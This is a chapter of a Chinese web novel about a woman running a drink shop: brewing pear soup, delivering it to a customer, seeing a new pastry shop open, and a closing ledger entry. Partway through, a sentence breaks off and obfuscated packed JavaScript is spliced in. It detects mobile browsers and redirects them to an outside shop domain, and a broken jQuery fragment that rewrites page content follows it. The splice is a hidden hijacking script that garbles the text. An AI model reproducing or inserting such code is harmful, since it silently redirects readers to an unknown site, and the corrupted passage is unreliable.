夜里风忽然变了，过了子时，院里的竹帘被风吹得轻轻作响，何春酿起身关窗时，竟觉得肩上有了一点凉意。
第二日天何春酿早早起了身，后院的灶房里还留着昨夜的余温，她点起灯，将今日要用的东西一一取出来。
甘草片先用清水洗净，放入陶锅慢慢熬煮。
青梅从蜜水中捞出，重新挑了一遍，将软烂的拣出来，留下完整的调制薄荷青梅饮。
姜片切得薄一些，红枣去核，紫苏叶洗净晾干。
张五娘披着外衣进来时，灶火已经烧起来了，她揉了揉眼睛，看见案上的东西，便道：“今日要做三样饮子？”
何春酿正在切姜，听见声音，只抬头看了一眼：“嗯，风凉了，要做一些热饮。”
张五娘走到窗边往外看了看，昨夜一场风，院墙边的竹叶落了几片，天色虽然还是亮得早，却不像前几日那样一睁眼便觉得热气扑面。
两屉米糕是何记每日的老规矩，街坊做工、赶路的人，总要买些能垫肚子的东西。
张五娘挽起袖子，先去淘米。等米浆调好以后，倒入蒸屉，随着灶火升起，淡淡的米香慢慢散出来，与姜香、甘草香混在一处。
两屉米糕出锅时，天色已经亮了。
何春酿将蒸屉从灶上取下来，热气扑出来，米香混着竹叶的清气，一时间连后院都热了几分。
张五娘拿帕子擦了擦额角的汗，笑道：“昨夜明明凉了些，灶房里还是热。”
何春酿将米糕切开，分成大小均匀的方块，“灶火一年四季都是热的。”
张五娘听了，觉得这话有趣，低头看着案上的米糕，又道：“以前夏天时，我总盼着天快些凉。如今真凉下来，又觉得要换东西麻烦。”
“做买卖就是这样。”何春酿把第一屉米糕装进竹篮，“天气不会等人，客人也不会等铺子慢慢想。”
门外传来了动静，张五娘探头看了一眼，笑道：“掌柜的，他们俩回来了。”
周砚平从院门进来，手里还拿着一张采买单，何顺跟在他身后，肩上扛着一筐东西。
“买了什么？”张五娘迎过去问。
何顺将竹筐放到地上，伸手揭开上面的布，“喏，秋梨。”
一筐青梨露了出来，梨子个头不算大，皮色青黄，刚从果行搬回来，果皮上还带着一点水汽，晨光落在上面，映出一层浅浅的光泽。
何春酿走过去，随手拿起一个看了看。
周砚平将手中的采买单递给她，道：“果行刚送来的，说是城外梨园第一批熟果。”
何春酿低头看了一眼价钱，“六十文？比我想得便宜些。”
“刚上市，还没什么人买，所以价格便宜些。”周砚平点了点头，“我和何顺看过了，这一筐梨大小差不多，做蜜梨汤正合适。”
何春酿又挑了几个，有的已经透出淡淡的香气，有的还带着青意，拿在手中稍显硬实。她将其中几个放到一旁，道：“这些今日先用，剩下的再放几日。”
周砚平坐到桌边，将账册翻开，又道：“柳巷那家席面，定的是酉时前送到。”
何春酿点了点头，让何顺将梨搬到后院阴凉处，“不着急，等午后人少了慢慢做。”
街上的声音慢慢多起来，卖菜的吆喝声、脚夫经过时的脚步声，还有孩子追着跑过石板路的笑声，都从院墙外传进来。
何春酿先去前铺转悠了一圈。
早晨的客人已经来了几桌，门边坐着常来买针线的妇人，正同张五娘说起昨日夜里的风，说家里小孙女睡觉时终于肯盖一层薄被，不像前几日翻来翻去，总嫌热。
上午的生意照常，薄荷青梅饮仍有人点，尤其是几个年轻客人，进门第一件事还是问一句有没有加冰。
到了午后，前铺客人少了一些，何春酿才让何顺把梨搬进灶房。
张五娘拿来木盆，将梨一个个洗净，她洗得很仔细，连梨梗旁边藏着的泥土也用手指轻轻擦去。
何春酿坐在案边削梨，手里的刀沿着果肉走，尽量不多削一点，梨皮薄薄落下，盘成一圈。
灶火烧起来以后，梨片和陈皮一同放入锅中。起初没有什么味道，过了一会儿，清甜的香气才慢慢从锅盖边透出来。
何顺搬来三只大陶罐，将罐口又擦了一遍，等着五娘将蜜梨汤一勺一勺分装进去。
等最后一罐装好，天色已经往西偏了。
“稍等我一会，我去换身衣裳。”何春酿边说边往中院走，她平日里守着灶火，衣袖难免沾些水渍，头发也常被热气熏得松散。今日去主家送东西，虽只是送几罐饮子，也该收拾得整齐些。
何春酿换好衣裳出来时，张五娘已经将长案收拾干净，剩下的梨皮和陈皮都分门收了起来。
“路上慢些，陶罐别碰着。”周砚平从前铺过来，叮嘱何顺，“送到柳巷第三户，门前有老槐树，树下有一张石凳。”
何顺应了一声，他趁着空闲，也换了一件干净的短褂，五娘看见，忍不住笑道：“你比掌柜的还上心。”
何顺摸了摸鼻子，“总不能叫人家看见咱们送东西还邋里邋遢。”
何春酿看着两人，笑了一下，“走吧，别叫人家等久了。”
三人出了何记，周砚平送到巷口便停下，前铺还有几桌客人未散，他不能离开太久。
临走前，他又叮嘱何春酿：“回来时若晚了些，走大路。”
何春酿带着何顺往柳巷走去。
傍晚的街道比白日里安静许多，卖菜的小贩收了摊，挑着空筐往回走。路边茶摊的伙计正在收拾桌椅，几个孩子蹲在墙根下玩石子，见有人经过，又笑着跑开。
柳巷并不远，两人很快便到了地方，门前那棵老槐树果然醒目，枝叶伸出来，遮了半边院墙。
昨日订饮的妇人正在门口等，见何春酿过来，连忙迎上前，“何掌柜，怎么好麻烦你亲自跑一趟。”
“娘子昨日订的蜜梨汤都在这里。”何春酿让何顺将陶罐放下，又同她清点了一遍，“一共三罐，分盛出来约有三十碗有余。陶罐用完留着便好，明日我让人过来取。”
妇人点点头，让家里人帮忙搬进去，“我家老太太不爱吃甜，昨日听说我订了梨汤，还问是不是外头那种加许多糖的饮子。”
何春酿笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797934|205212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道：“娘子放心，与你昨日喝的一样，秋梨本身便有甜味，没加多少糖。”
妇人点点头，“何掌柜做东西向来实在，我自然放心。”
妇人将余款一钱二十文数好递过来，两人便算清了这一单。
从柳巷出来时，天色已经暗下来。
何顺提着空篮子，走在何春酿身旁。经过平安街时，街口比往日热闹一些。
几个街坊围在一家新铺子门前，正看着里面忙活。
门上的匾额刚挂起来，黑底金字的“松月斋”三个字在灯笼下格外醒目。铺子还没有正式开门，门前已经收拾得整齐，青石台阶扫得干干净净，门边摆着两盆新搬来的花木。
何顺停了一下，朝里面看去，铺子里，一个四十来岁的男人正站在柜台旁。
他穿着一件半旧的青布长衫，袖口挽起，手里拿着一张单子，不时低头核对，又抬头吩咐伙计。
“那边的木盒不要叠太高，桂花糕容易压碎。”
“东边那排柜子再擦一遍，明日客人进门，先看见的就是这里。”
几个伙计应声忙活起来。
旁边卖糖人的老人摇着扇子说道：“松月斋，听说是城西搬来的。原先那边也有一家铺子，做点心做了十几年。”
“这么远搬过来？”路人诧异道。
“平安街如今热闹，来往的人多，生意也好做。”
几个人说着，又朝铺子里看去。
那男人似乎听见外头有人议论，抬头朝街边看了一眼，见有人围观，只笑着拱了拱手，又转身去看伙计摆东西。
何春酿站在人群外，想起何记刚开门时，自己也是这样，又是擦桌子，又是摆东西，生怕客人觉得铺子不好。
何春酿收回目光，“走吧。”
何顺应了一声，跟着她继续往永安巷走。
吃过晚饭后，何顺去后院收拾碗筷，张五娘也跟着过去将灶房里剩下的东西归置好。
前铺的灯还亮着一盏，周砚平坐在柜边，将今日收来的钱重新理了一遍。
何春酿坐在旁边喝茶，看着门外已经安静下来的街道，忽然道：“平安街新开了一家点心铺。”
周砚平抬起头，“是不是叫松月斋？下午听客人提了一两句。”
“今日路过时，看见他们还在收拾。”她想起那铺子里忙碌的伙计，又道：“柜台擦得干净，木盒也都摆好了，看样子准备了有些日子。”
周砚平听她说完，倒想起今日买梨的事，“说起来，咱们这次接席面也算赶巧。今日这筐梨买得巧，若是再晚几日，怕就未必有这么合适的价钱。”
“嗯，以后席面上的订饮，至少要提早两天订，好买原料。”何春酿应下。
两人坐了一会儿，外头最后一盏灯也渐渐熄了。夜里的风又吹过竹帘，带着一点凉意。
七月底的天，终于慢慢有了秋日将近的模样。
-
簿上记：
七月二十七日，铺中余利六钱八十四文（含蜜梨汤席面一单，收余款一钱二十文）。
前存二十两二钱六文，钱匣现存二十两八钱九十文。